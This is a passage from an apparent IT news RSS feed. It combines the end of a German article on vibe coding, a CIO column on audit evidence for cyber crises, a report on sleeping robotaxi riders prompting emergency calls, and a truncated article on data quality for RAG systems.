<p class="wp-block-paragraph">Vibe Coding setzt also darauf, die traditionelle Programmierarbeit durch dialogorientierte Anweisungen und <a href="https://www.computerwoche.de/article/4026379/ki-jobs-diese-skills-brauchen-entwickler.html" target="_blank">Kooperation mit einem KI-Assistenten</a> zu ersetzen. Statt detaillierte Spezifikationen zu entwerfen und diese an die Engineers weiterzugeben, können Produktmanager, Fachexperten – oder jeder andere, der eine Idee hat – in einfacher Sprache beschreiben, wie das Ergebnis aussehen soll. Die KI-Software erledigt dem Rest in Echtzeit. Allerdings geht es dabei weniger darum, die Softwareentwicklung durchgängig zu automatisieren.</p>



<p class="wp-block-paragraph">Vielmehr stehen Mindset-Veränderungen im Fokus: Warum sollte man nicht der KI die Mechanik überlassen und sich stattdessen auf die Ausrichtung, das Feedback, den Flow und die “Vibes” konzentrieren? Schließlich werden die Modelle, die Tools wie <a href="https://www.infoworld.com/article/4081431/cursor-2-0-adds-coding-model-ui-for-parallel-agents.html" target="_blank">Cursor</a> oder GitHub Copilot zugrunde liegen, immer performanter. Deswegen sehen auch viele Developer ihre Arbeit inzwischen vorwiegend als einen Dialog mit der KI – statt sich zeilenweise selbst durch Syntax zu wühlen.</p>



<p class="wp-block-paragraph">Und obwohl auch bei einem Vibe-Coding-Ansatz diverse <a href="https://www.computerwoche.de/article/4034385/9-wege-mit-vibe-coding-zu-scheitern.html" target="_blank">Probleme und Herausforderungen</a> auf den Plan treten können (dazu später mehr): Die Technik gewinnt zunehmend an Popularität – auch im Unternehmensumfeld.</p>



<h2 class="wp-block-heading">Vibe Coding im Unternehmen</h2>



<p class="wp-block-paragraph">Wie das in der Praxis konkret aussieht, beschreibt <a href="https://www.linkedin.com/in/charlesjiama/" target="_blank" rel="noreferrer noopener">Charles Ma</a>, Softwareentwickler beim Observability-Spezialisten Chronosphere: “Viele unserer Entwickler nutzen Tools wie Cursor und <a href="https://www.computerwoche.de/article/4182911/claude-code-hat-ein-sicherheitsproblem.html" target="_blank">Claude Code</a>. Wir fördern deren Einsatz sogar über ein Nutzungs-Leaderboard. Dabei betrachten wir die Tools jedoch als Assistenten, nicht als Dev-Ersatz. Unser Code-Review-Prozess ist weiterhin Pflicht für jeden Produktionscode – und wir sehen eher davon ab, viele unserer oder gar externe Tools mit KI zu verbinden.”</p>



<p class="wp-block-paragraph">In der Perspektive von <a href="https://www.linkedin.com/in/achint-agarwal-a853241" target="_blank" rel="noreferrer noopener">Achint Agarwal</a>, Vice President of Product beim KI-Anbieter Pramata, hat Vibe Coding vor allem die Art und Weise verändert, wie Teams vom Konzept zum Prototyp gelangen: “Früher mussten UI/UX-Designer und Entwickler zusammenarbeiten, um eine Idee in etwas zu verwandeln, mit dem Kunden interagieren konnten. Dieser Prozess konnte leicht mehrere Wochen dauern und diverse Überarbeitungsrunden umfassen.”</p>



<p class="wp-block-paragraph">Heute, so Agarwal, könne ein Produktmanager oder Fachexperte einfach in <a href="https://www.computerwoche.de/article/2799474/was-ist-natural-language-processing.html" target="_blank">natürlicher Sprache</a> formulieren, was er sich vorstellt, und die KI generiere funktionierenden Code in <a href="https://www.computerwoche.de/article/2785190/prototyping-hilft-bei-der-softwareentwicklung.html" target="_blank">Prototyp-Qualität</a>. “Bei dieser Veränderung geht es um mehr als nur Geschwindigkeit: Auch die Qualität der Ergebnisse ist besser, weil die Person, die den Anforderungen am nächsten steht, während des gesamten Prozesses die Kontrolle behält und es keine Reibungsverluste durch Übergaben gibt”, fügt der Manager hinzu.</p>



<p class="wp-block-paragraph">Auch Agarwal sieht in Vibe Coding kein Substitut für die traditionelle <a href="https://www.computerwoche.de/article/4016035/6-trends-wie-ki-die-softwareentwicklung-verandert.html" target="_blank">Softwareentwicklung</a>, sondern vor allem ein Explorations- und Validierungs-Tool: “Dev-Teams ist es damit möglich, in kurzer Zeit funktionierende Prototypen zu erstellen, diese mit Kunden zu testen und zu überprüfen, ob die Idee sinnvoll ist. Fällt diese Prüfung positiv aus, kann der Prototyp an die Engineers gehen, die ihn mit Blick auf Skalierbarkeit, Sicherheit und langfristige Integrationen weiter ausbauen.”</p>



<h2 class="wp-block-heading">Wie sieht ein Vibe-Coding-Workflow aus?</h2>



<p class="wp-block-paragraph">Es gibt keine allgemeingültige Blaupause für Vibe Coding. Entsprechend gehen auch die Ansichten darüber auseinander, wie ein typischer Vibe-Coding-Workflow aussieht. <a href="https://www.linkedin.com/in/kostaspardalis/" target="_blank" rel="noreferrer noopener">Kostas Pardalis</a>, Data Infrastructure Engineer beim KI-Lösungsanbieter Typedef, beschreibt diesen als agilen, vierstufigen Prozess:</p>



<ul class="wp-block-list">
<li>die <strong>Erkundungsphase</strong>, in der der “Vibe”, der Zweck und die Einschränkungen definiert werden.</li>



<li>die <strong>Gestaltungsphase</strong>, in der ein funktionierender Prototyp erstellt und verfeinert wird.</li>



<li>die <strong>Grounding-Phase</strong>, die genutzt wird, um Struktur und Datenintegrität hinzuzufügen.</li>



<li>die <strong>Operationalisierungsphase</strong>, in der Versionierung, Evaluierung und Governance hinzukommen.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/steve-croce-1060082/" target="_blank" rel="noreferrer noopener">Steve Croce</a>, Field CTO beim Open-Source-Unternehmen Anaconda, steht hingegen auf dem Standpunkt, dass der Vibe-Coding-Workflow davon abhängig ist, ob ein Prototyp, eine Zwischenlösung oder eine vollständige Produktionsapplikation entwickelt werden soll. Basierend darauf, orientiert sich der Vibe-Coding-Workflow in der Vision des Technologieentscheiders eher am traditionellen Software Development Lifecycle – fußt jedoch ebenfalls auf vier Stufen:</p>



<ul class="wp-block-list">
<li>In der Phase der <strong>Planungs- und Anforderungsanalyse</strong> könnten Produktmanager und UX-Teams demnach voll und ganz auf Vibe Coding setzen und so vor der formellen Entwicklung klickbare Prototypen und Machbarkeitstests erstellen.</li>



<li>Im Rahmen der<strong> Design-Phase </strong>kann KI laut Croce dabei unterstützen, Architekturen und <a href="https://www.computerwoche.de/a/4077044" target="_blank">Dokumentationen zu erstellen</a>. Der Manager weist allerdings darauf hin, dass es in dieser Phase auch hilfreich sein könne, erfahrene Engineers oder Architekten hinzuziehen, um die Einhaltung von Standards und die Reusability interner Systeme zu gewährleisten.</li>



<li>Als Kernbereich der Vibe-Coding-Experience sieht Croce die<strong> Implementierungs- und Testphase:</strong> Ein KI-Agent könne an dieser Stelle die gesamte Anwendung erstellen und darüber hinaus auch Repositories strukturieren und <a href="https://www.computerwoche.de/article/2804460/installationen-und-funktionstests-automatisieren.html" target="_blank">Tests durchführen</a>. Der Experte rät Unternehmens-Teams jedoch mit Blick auf die Testabdeckung und Konformitätsprüfungen auch in dieser Phase dazu, menschliche Profis hinzuzuziehen.</li>



<li>In der <strong>Bereitstellungs- und Wartungsphase </strong>könne KI laut dem CTO dazu genutzt werden, Apps bereitzustellen und zu warten. Dieser Part könne jedoch auch vollständig außerhalb der Vibe-Coding-Erfahrung abgewickelt werden, um den Unternehmensanforderungen zu entsprechen, so Croce.</li>
</ul>



<h2 class="wp-block-heading">Empfehlenswerte Vibe-Coding-Tools</h2>



<p class="wp-block-paragraph">Vibe-Coding-Tools decken ein breites Spektrum ab: Vom leicht zugänglichen, dialogorientierten Builder für nicht-technische Teams, bis hin zu integrierten Entwicklungsumgebungen (<a href="https://www.computerwoche.de/article/2827615/4-entwicklungsumgebungen-fuer-pythonistas.html" target="_blank">IDEs</a>), die Engineers umfassende Kontrollmöglichkeiten bieten und zuverlässige Anwendungen gewährleisten. Die Wahl des richtigen Tools hängt von den Fähigkeiten des Teams, dem Projektziel und dem benötigten Maß an Governance ab.</p>



<p class="wp-block-paragraph">Eine kleine Auswahl empfehlenswerter Tools für Vibe-Coding-Zwecke:</p>



<ul class="wp-block-list">
<li><a href="https://cursor.com/" target="_blank" rel="noreferrer noopener"><strong>Cursor</strong></a> ist eine KI-integrierte IDE, mit der sich mehrere Dateien bearbeiten lassen.</li>



<li><a href="https://replit.com/" target="_blank" rel="noreferrer noopener"><strong>Replit</strong></a> ist eine gute Wahl für Browser-basierte Entwicklungsarbeit.</li>



<li><a href="https://bolt.new/" target="_blank" rel="noreferrer noopener"><strong>Bolt</strong> </a>und <a href="https://lovable.dev/" target="_blank" rel="noreferrer noopener"><strong>Lovable</strong></a> sind Builder, eignen sich vor allem für schnelles Brainstorming und zeichnen sich durch überschaubaren technischen Aufwand aus. Diese Tools sind daher auch für Einsteiger geeignet.</li>



<li><a href="https://windsurf.com/" target="_blank" rel="noreferrer noopener"><strong>Windsurf</strong></a> und <a href="https://zed.dev/" target="_blank" rel="noreferrer noopener"><strong>Zed</strong></a> sind vollständige IDEs, die darauf ausgelegt sind, Vibe-Coding-Funktionen in traditionelle Dev-Umgebungen zu integrieren.</li>
</ul>



<h2 class="wp-block-heading">Diese Risiken birgt Vibe Coding</h2>



<p class="wp-block-paragraph">Trotz der genannten Vorteile birgt der Vibe-Coding-Ansatz auch diverse Risiken mit Blick auf die Wartbarkeit und Anfälligkeit der generierten Logik. So warnt etwa ShadowDragon-Managerin Mortlock: “<a href="https://www.computerwoche.de/article/4155663/6-wege-uber-ki-gehackt-zu-werden.html" target="_blank">Sicherheitslücken</a> und <a href="https://www.computerwoche.de/article/3980660/technische-schulden-als-billige-ausrede.html" target="_blank">technische Schulden</a> sind die Hauptprobleme in Zusammenhang mit Vibe Coding. KI kann manchmal unsichere Pattern oder auch veraltete Bibliotheken einbinden.”</p>



<p class="wp-block-paragraph">Zudem sei KI-generierter Code in den meisten Fällen auch länger, was das Debugging langwierig und mühsam gestalten könne, erklärt Mortlock. Sie fügt hinzu: “KI verweist unter Umständen auch auf nicht existierende Packages, was auch böswillige Akteure ausnutzen könnten. Was wie funktionierender Code aussieht, kann versteckte Fallen bergen.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/charlesjiama/" target="_blank" rel="noreferrer noopener">Charles Ma</a>, Software Engineer beim Observability-Spezialisten Chronosphere, sieht ein weiteres Problem, das die Angriffsfläche potenziell vergrößert: “Selbst erfahrene Engineers können selbstzufrieden werden und dann Probleme übersehen, die ihnen sonst nicht entgangen wären. Sobald KI-Tools mit externen Systemen verbunden sind oder Websuchen durchführen, besteht außerdem das Risiko von Prompt Injections und Toolchain-Exploits.”</p>



<p class="wp-block-paragraph">Infrastruktur-Profi Pardalis fokussiert mit Blick auf die Risiken von Vibe Coding vor allem die Bereiche Volatilität und Sichtbarkeit: Weil dieser Ansatz für schnelle Iterationen und Modellautonomie förderlich sei, bestünden die Hauptrisiken in unkontrollierter Variabilität und undurchsichtigen Quellen. Um diese Probleme zu bekämpfen, appelliert Pardalis für:</p>



<ul class="wp-block-list">
<li><strong>Lineage Tracking</strong>: Jede Version wird committet und verwendet Frameworks mit integrierter Traceability.</li>



<li><strong>Evaluierungsschleifen</strong>: Qualitäts- und Regressionsprüfungen werden automatisiert durchgeführt.</li>



<li><strong>Governance-Layer</strong>: Prompt-Historien werden auditiert und sensible Daten gefiltert.</li>
</ul>



<p class="wp-block-paragraph">Der Engineering-Profi ist der Ansicht, dass eine expressive, modellgesteuerte Softwareentwicklung und eine deterministische Infrastruktur unter disziplinierten Rahmenbedingungen koexistieren können: “Letztendlich verspricht Vibe Coding kein Chaos, sondern strukturierte Kreativität. Sie entwickeln Ideen schnell, setzen sie aber sicher um. Mit anderen Worten: Freiheit am Anfang, Disziplin im weiteren Verlauf – so kann Vibe Coding tatsächlich in Produktionsumgebungen skaliert werden.”</p>



<h2 class="wp-block-heading">6 Tipps für effektives Vibe Coding</h2>



<p class="wp-block-paragraph">Da Sie nun umfassend über alle Aspekte des Vibe-Coding-Ansatzes informiert sind, geben wir Ihnen abschließend noch ein paar Tipps an die Hand, um Ihre eigene Initiative erfolgreich umzusetzen. Diese haben wir aus unseren Gesprächen mit den im Artikel zitierten Spezialisten zum Thema extrahiert</p>



<ul class="wp-block-list">
<li><strong>Beginnen Sie mit Zielen, nicht mit Funktionen:</strong> Beschreiben Sie zunächst die gewünschte <a href="https://www.computerwoche.de/article/2834420/der-niedergang-des-user-interface.html" target="_blank">User Experience</a> und die wesentlichen Geschäftsprobleme, die mit der Initiative gelöst werden sollen. Dabei müssen Sie es nicht übertreiben und jeden Button oder Screen definieren – für relevante Lösungen ist es entscheidend, der KI so genau wie möglich zu beschreiben, was erreicht werden soll.</li>



<li><strong>Planen Sie voraus:</strong> Vibe Coding ist nicht in der Lage, eine gute Architektur zu ersetzen. Bevor Sie KI hinzuziehen, sollten Sie deshalb sicherstellen, dass Design und Spezifikationen stimmen. Das erleichtert es der KI, “Intent” in kohärente Systeme zu übersetzen.  </li>



<li><strong>Verstehen Sie KI als Partner: </strong>Es gilt, mit Vibe-Coding-Tools zu kollaborieren. Diese Werkzeuge brauchen Anleitung und ihre Ergebnisse müssen überprüft werden. Blindes Vertrauen kann an dieser Stelle<a href="https://www.computerwoche.de/article/3829267/so-bleibt-ihr-code-halluzinationsfrei.html" target="_blank"> kontraproduktiv sein</a>. Sie sollten deshalb nicht zögern, die KI-generierte Logik in Frage zu stellen.</li>



<li><strong>Nutzen Sie Frameworks, Kontext und Beispiele:</strong> Etablierte Frameworks zu nutzen, erspart es Ihnen alles von Grund auf neu zu entwickeln. Die KI mit Beispielanwendungen zu füttern oder (<a href="https://www.computerwoche.de/article/4143599/mcp-server-5-tipps-fur-die-praxis.html" target="_blank">vertrauenswürdige</a>) MCP-Server hinzuzuziehen, um Kontext in größeren Projekten zu managen, kann ihre Fähigkeiten erweitern.  </li>



<li><strong>Halten Sie Menschen – und Security – im Loop:</strong> Setzen Sie auch bei Vibe- respektive KI-Coding-Tools auf das Least-Privilege-Prinzip – und Review-Prozesse. Engineering Best Practices anzuwenden, empfiehlt sich ebenfalls: Generieren Sie Tests, verifizieren Sie Funktionalitäten. Und betrachten Sie die Tools als Kreativitäts- und Produktivitäts-Support. Nicht als Substitut für <a href="https://www.computerwoche.de/article/2834999/3-dinge-die-senior-developer-auszeichnen.html" target="_blank">Skills und Knowhow</a>.</li>



<li><strong>Iterieren und verfeinern Sie: </strong>Nehmen Sie mit Blick auf Vibe Coding Abstand vom Streben nach Perfektion (auch wenn es Ihnen <a href="https://www.computerwoche.de/article/4048410/was-junior-entwickler-von-the-bear-lernen-konnen.html" target="_blank">widerstrebt</a>) und finden Sie sich möglichst frühzeitig mit unvollkommenen Ergebnissen ab. Tracken Sie Prompts, cachen Sie Checkpoints und verfeinern Sie die Ergebnisse – solange, bis der “Flow” zu einer zuverlässigen Funktionalität wird.</li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
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<title><![CDATA[The audit trail CIOs need before the next cyber crisis]]></title>
<description><![CDATA[In one ransomware response I observed, the master operational dashboard remained green while the underlying environment told a very different story. It was a classic example of what we in the IT audit profession call the “watermelon effect”—green on the outside, red on the inside.



Beneath that...]]></description>
<link>https://tsecurity.de/de/3680143/it-security-nachrichten/the-audit-trail-cios-need-before-the-next-cyber-crisis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680143/it-security-nachrichten/the-audit-trail-cios-need-before-the-next-cyber-crisis/</guid>
<pubDate>Mon, 20 Jul 2026 02:13:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In one ransomware response I observed, the master operational dashboard remained green while the underlying environment told a very different story. It was a classic example of what we in the IT audit profession call the “watermelon effect”—green on the outside, red on the inside.</p>



<p class="wp-block-paragraph">Beneath that dashboard sat an unmapped web of legacy technical debt, undocumented service accounts and shadow cloud instances. For years, presenting a green dashboard to the audit committee could give technology leaders a false sense of comfort. If a catastrophic breach occurred, it was generally treated as an unpredictable operational tragedy, managed via cyber insurance, a carefully calibrated public relations pivot and perhaps a quiet executive transition.</p>



<p class="wp-block-paragraph">Today, that corporate shield is thinner than many technology leaders assume. For technology leaders in regulated or public-company environments, executive exposure is no longer only a theoretical debate. The regulatory environment has made plausible deniability much harder to sustain.</p>



<h2 class="wp-block-heading">The erosion of the corporate shield</h2>



<p class="wp-block-paragraph">With the application of the European Union’s <a href="https://www.eiopa.europa.eu/digital-operational-resilience-act-dora_en">Digital Operational Resilience Act (DORA)</a> for financial entities, alongside the broader <a href="https://digital-strategy.ec.europa.eu/en/policies/nis2-directive">NIS2 Directive</a> for essential and important entities, cybersecurity governance has become harder to separate from board-level oversight. DORA places ultimate responsibility for ICT risk management on the management body of financial entities, while NIS2 requires management bodies to approve and oversee cybersecurity risk-management measures. In the United States, the <a href="https://www.sec.gov/newsroom/press-releases/2023-139">U.S. Securities and Exchange Commission’s cybersecurity disclosure rules</a> require public companies to disclose material cyber incidents and describe their cyber risk management, strategy and governance in annual filings. The new burden is not simply to operate controls; it is to show, after the fact, that leadership decisions matched the risk evidence available at the time.</p>



<p class="wp-block-paragraph">The serious risk to a modern CIO is not simply the occurrence of a sophisticated security incident. The true danger is the inability to reconcile what leadership presented externally to investors, regulators and the board with what the internal evidence showed inside the environment.</p>



<p class="wp-block-paragraph">When a serious crisis breaks, you may find yourself surrounded by corporate defense counsel, regulatory investigators and outside forensic lawyers all asking variations of the same uncomfortable questions: What did you know, when did you discover it and what specific actions did you take next?</p>



<p class="wp-block-paragraph">When those questions are asked, a slide deck asserting that your security posture is “aligned with industry best practices” will not be enough. A post-incident review may recognize that sophisticated attacks occur. What creates greater exposure is evidence that known risks were ignored, understated or left outside structured governance. To survive that level of post-incident review, one of your strongest assets is a disciplined, independent evidence trail showing that risks were identified, challenged, escalated and acted on before the first indicator of compromise appeared.</p>



<h2 class="wp-block-heading">Why point-in-time comfort letters fail regulatory scrutiny</h2>



<p class="wp-block-paragraph">The reality we face is that legacy compliance evidence often falls short under regulatory scrutiny. For years, the annual SOC 2 Type II report or a standardized ISO 27001 certification was brandished by technology teams as the definitive proof of a functional control environment. I have sat in dozens of scoping meetings where an engineering director pointed to a freshly minted compliance report as if it were a complete defense against scrutiny.</p>



<p class="wp-block-paragraph">But a compliance report is a historical artifact—a retrospective evaluation of how specific controls operated during a defined window of time months in the past. It tells an investigator that on a random afternoon in Q2, your production change-management approvals conformed to a baseline policy. It says absolutely nothing about the configuration drift, unauthorized API keys or emergency patch bypasses that developers introduced the following weekend to hit a product release deadline.</p>



<p class="wp-block-paragraph">Modern regulators, boards and investors are no longer satisfied by historical comfort letters alone. Under contemporary frameworks, especially regimes focused on operational resilience, static compliance evidence is no longer enough. The expectation of due care has shifted from a passive state of compliance to an active state of continuous challenge. Increasingly, post-incident reviews look for evidence that leadership identified system vulnerabilities, formally escalated material deficiencies, evaluated systemic risk to the business and tracked remediation progress with measurable rigor.</p>



<p class="wp-block-paragraph">When an architecture fails, post-incident reviews often focus quickly on ownership, escalation and whether known risks were acted upon. If your defensive documentation consists entirely of static policy documents and green dashboards, you leave an evidentiary vacuum that can invite difficult questions about executive oversight. Post-incident reviews rarely turn on perfection. They turn on whether the organization can show a traceable chain of governance.</p>



<h2 class="wp-block-heading">5 non-negotiable artifacts for your executive evidence engine</h2>



<p class="wp-block-paragraph">This reality requires a complete reframing of your relationship with your IT audit department. Historically, this dynamic has been defined by friction. Technology leaders frequently view my peers and me as compliance traffic cops—bureaucrats who interrupt core engineering sprints to demand evidence samples, user access reviews and system configurations.</p>



<p class="wp-block-paragraph">It is time to view IT audit through a pragmatic lens: we are your independent evidence engine. We are one of the few corporate functions tasked with independently challenging your control environment, documenting where exceptions were escalated and showing how management responded. When an auditor identifies a control gap and partners with you to draft a management action plan, they are not creating a bureaucratic roadblock. They are helping you construct an evidence trail that can show risk was identified, escalated and acted upon.</p>



<p class="wp-block-paragraph">To transform your IT audit function into an effective executive shield, you must shift focus away from superficial check-the-box exercises and collaborate on specific artifacts. The most effective exercise you can run with your audit leadership is to flip the timeline completely and ask: if this program were reviewed six months from now, which evidence would show we governed the risk before it failed?</p>



<ol class="wp-block-list">
<li><strong>Board-facing risk registers with escalation history:</strong> A risk register that sits unreviewed on an intranet page for 12 months is not a management tool; to an investigator, it can look like evidence that known risks were not actively governed. Your material technology, cybersecurity and dependency risks must be centrally logged. More importantly, this artifact must contain a clear, chronological escalation history showing exactly when the risk was presented to leadership committees and the board, along with related minutes, decisions or follow-up actions.</li>



<li><strong>Granular risk acceptance records:</strong> You cannot remediate every vulnerability instantly. Business continuity, legacy software limitations and budgetary boundaries require you to accept certain operational exposures. When this occurs, ensure your risk acceptance records are airtight. A defensible record must document the specific technical variance, the precise financial or operational rationale for the delay, a definitive expiration date, explicit executive sign-off and the active compensating controls deployed to reduce the blast radius in the interim.</li>



<li><strong>Tabletop and operational simulation records:</strong> Independent frameworks such as <a href="https://www.isaca.org/digital-trust">ISACA’s Digital Trust Ecosystem Framework</a> can help structure this evidence, but boards and regulators will still look for proof that the testing actually happened. Your audit trail should contain comprehensive records of cyber incident, disaster recovery and third-party dependency simulations. These records must detail the scenario tested, the executive participants, the control failures identified during the drill and a formalized tracking schedule showing when those gaps were closed.</li>



<li><strong>AI governance inventories and data-flow mappings:</strong> The rapid deployment of generative AI tools across enterprise operations has created a massive blind spot for technology executives. In one audit, we found developers using an unapproved public large language model to accelerate debugging with sensitive internal code. To protect yourself, work with your audit team to build an active enterprise AI inventory that maps data lineage, identifies model business owners, documents risk classification approvals and demonstrates active technical monitoring for unauthorized data exfiltration.</li>



<li><strong>Synchronized disclosure-control handoffs:</strong> When a material security incident or system outage occurs, the clock begins ticking for regulatory reporting. Your incident response playbook must be technically linked to your corporate disclosure controls. The audit trail should show that a documented, synchronized handoff occurred between your technical response leaders, general counsel, chief financial officer and corporate communications team. This evidence helps show that your external statements match internal technical realities.</li>
</ol>



<p class="wp-block-paragraph">In the modern corporate ecosystem, technology leadership is no longer just an engineering challenge; it is an exercise in rigorous, evidence-based governance. The regulatory landscape has changed, and the expectation of continuous traceability cannot be avoided.</p>



<p class="wp-block-paragraph">Open and direct collaboration with your IT audit team will not prevent a zero-day exploit, an unexpected cloud outage or a critical third-party vendor failure. That is not the purpose of enterprise risk management.</p>



<p class="wp-block-paragraph">The true value is far more practical: when a serious incident puts your program under review, you will not be forced to defend your reputation with a feeling, an unverified assumption or a misleadingly green dashboard. Instead, you will have an independent record showing that risk was actively seen, appropriately challenged, properly escalated and responsibly managed. In today’s regulatory environment, that disciplined trail of evidence may be the difference between a failure that can be explained and one that begins to look negligent.</p>



<p class="wp-block-paragraph">.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Dozens of Robotaxi Riders Are Falling Asleep, Sparking Frantic Calls For Emergency Services]]></title>
<description><![CDATA["If tired or wasted passengers fall asleep in a traditional taxi or rideshare, the driver can shout or shake them awake," reports Bloomberg. "Not so in a robotaxi..."

Ditto Kasendar remembers soft music drifting from the robotaxi's speakers as he rode home late at night from a friend's birthday ...]]></description>
<link>https://tsecurity.de/de/3680123/it-security-nachrichten/dozens-of-robotaxi-riders-are-falling-asleep-sparking-frantic-calls-for-emergency-services/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680123/it-security-nachrichten/dozens-of-robotaxi-riders-are-falling-asleep-sparking-frantic-calls-for-emergency-services/</guid>
<pubDate>Mon, 20 Jul 2026 01:23:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["If tired or wasted passengers fall asleep in a traditional taxi or rideshare, the driver can shout or shake them awake," reports Bloomberg. "Not so in a robotaxi..."

Ditto Kasendar remembers soft music drifting from the robotaxi's speakers as he rode home late at night from a friend's birthday party in 2025. The next moment, Los Angeles firefighters were opening the door and asking if he was OK. His six-minute trip had ended nearly an hour before. A remote Waymo assistant, dialling in through the car's speakers, repeatedly tried to rouse him and finally called 911 when he wouldn't stir... 

Kasendar's robocab nap was, unfortunately, not an isolated incident. As companies like Alphabet and Tesla bring self-driving taxis to more cities, the messier aspects of serving unpredictable humans are becoming harder to ignore. Passengers are falling asleep, spilling drinks, dropping food, vomiting, experiencing medical emergencies and, in at least two instances, giving birth in the cars. They stumble out of the vehicles and forget to close the doors, forcing the operators to pay nearby gig workers to do it. 
These seemingly minor nuisances are becoming a drain on municipal resources and complicating the roll-out of robotaxi service. So many robotaxi customers have nodded off in the midst of a ride that Austin police and firefighters even have a name for the incidents: "sleepers". The Texas capital recorded 99 such calls in Waymo's first nine months of service there, said Roger Patterson, a commander with Austin-Travis County Emergency Medical Services... Remote assistants monitoring the cars try talking through the speakers and checking on passengers with interior cameras. But if they get no response, company protocols often require them to call 911. And first responders have to assume the worst. Austin dispatchers treat an incident as a potential heart attack if the remote assistant can't tell whether the passenger is breathing, Patterson said. In the end, only about 3% of such calls require transporting the passenger to a hospital, he said. But the incidents tie up personnel who might be needed elsewhere.<p></p><div class="share_submission">
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</div><p><a href="https://tech.slashdot.org/story/26/07/19/236218/dozens-of-robotaxi-riders-are-falling-asleep-sparking-frantic-calls-for-emergency-services?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[The cleanup trap: Stop asking RAG to fix bad data]]></title>
<description><![CDATA[The enterprise technology ecosystem is caught in a costly cycle. Over the past two years, millions of dollars have been funneled into generative AI pilots, yet many of these initiatives stall out before ever reaching a live production environment.When a project fails, the immediate instinct of te...]]></description>
<link>https://tsecurity.de/de/3679963/it-nachrichten/the-cleanup-trap-stop-asking-rag-to-fix-bad-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679963/it-nachrichten/the-cleanup-trap-stop-asking-rag-to-fix-bad-data/</guid>
<pubDate>Sun, 19 Jul 2026 22:32:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The enterprise technology ecosystem is caught in a costly cycle. Over the past two years, millions of dollars have been funneled into generative AI pilots, yet many of these initiatives stall out before ever reaching a live production environment.</p><p>When a project fails, the immediate instinct of technical leadership is often to blame the model: The context window was too restrictive, the latency was too high, or the reasoning capabilities simply were not there.</p><p>But as data engineers building the scaffolding for these systems, we often see a different reality: The model receives the blame, but the pipeline usually contains the root cause. Production gen AI rarely fails because of model limitations alone. More often, it fails because the enterprise data foundation underneath it is fundamentally unready.</p><p>This is what I call the 'Cleanup Trap': The false belief that an organization can pipe fragmented, inconsistent, and ungoverned legacy data into a large language model (LLM) orchestrator and simply “clean it up” or patch it at the retrieval layer.</p><h2><b>The mirage of the retrieval layer</b></h2><p>In a standard retrieval-augmented generation (RAG) architecture, the retrieval layer is tasked with pulling relevant business context to ground the model’s responses. Because modern frameworks make it simple to stand up a vector database and a basic embedding pipeline, leadership often assumes that the data engineering problem is solved.</p><p>It is not.</p><p>When an embedding model receives raw, unvalidated data directly from operational silos, the resulting vector space inherits the structural noise, duplicate records, and conflicting states present in the source systems.</p><p>If the core data pipeline suffers from silent degradation — schema drift, missing fields, delayed change-data-capture (CDC) synchronization — that degradation cascades directly into the vector store. An AI model cannot accurately synthesize customer intelligence if the data pipeline behind it is serving stale, contradictory profiles across disparate storage layers.</p><p>No amount of prompt engineering, semantic reranking, or vector hyperparameter tuning can compensate for a broken ingestion pipeline. If the foundation is compromised, the downstream application will hallucinate, expose unauthorized context, or fail to deliver deterministic value.</p><h2><b>Shifting from ad-hoc patching to programmatic guardrails</b></h2><p>To break out of the 'Cleanup Trap,' enterprise data teams must stop treating data quality as a post-processing step. They need to treat data readiness for AI with the same rigor they bring to traditional transaction processing.</p><p>This requires a deliberate architectural shift toward zero-trust data ingestion, structured validation frameworks, and automated anomaly detection before data ever reaches an AI orchestration layer.</p><h3><b>1. Harden the ingestion pipeline</b></h3><p>Data quality checks cannot exist as a nightly batch afterthought. If an enterprise AI application relies on real-time data to assist users, validation must happen inline.</p><p>Teams should implement explicit schema validation checks at the earliest ingestion point, such as the streaming ingress layer or the bronze landing layer of a medallion architecture. If an upstream operational database mutates a schema without warning, the pipeline should quarantine anomalous payloads rather than allowing corrupted metadata to pollute downstream AI contexts.</p><h3><b>2. Use multi-tiered algorithmic validation</b></h3><p>Static row-count validation rules are insufficient for AI readiness. True data health requires a multi-tiered approach.</p><p>This means pairing structural verification — null checks, type conformance, and schema validation — with statistical profiling to monitor for data drift. Tracking metric deviations across feature distributions helps ensure that historical context remains stable over time.</p><p>If a pipeline suddenly processes an unexpected spike in empty string variables or structurally deviant fields, automated alerts should trigger an immediate pause before vector database updates continue.</p><h3><b>3. Decouple security and compliancemfrom the model</b></h3><p>An LLM should never be the arbiter of data access control. Trying to enforce row-level security or personal data filtering through system prompts is a compliance risk.</p><p>Security must be managed within the data infrastructure tier. Enterprise data foundations should enforce strict access controls, tokenization of sensitive identifiers, and rigorous lineage tracing before information is indexed into vector stores or passed into an agent’s context window.</p><h2><b>Technical alignment: A pragmatic blueprint</b></h2><p>For technology leaders mapping their infrastructure roadmaps, AI readiness requires evaluating data pipelines against a strict operational checklist.</p><ul><li><p>Can you trace a flawed AI response back to the exact pipeline execution, source record, and transformation step that produced it?</p></li><li><p>Does your data lake architecture have a programmatic mechanism to segment and quarantine corrupted or non-compliant data before it reaches production feature stores?</p></li><li><p>Are your operational systems and AI-facing vector databases tightly synchronized, or are your agents making automated decisions based on outdated snapshots?</p></li></ul><p>These questions matter because production AI is not just a model deployment problem. It is a data reliability 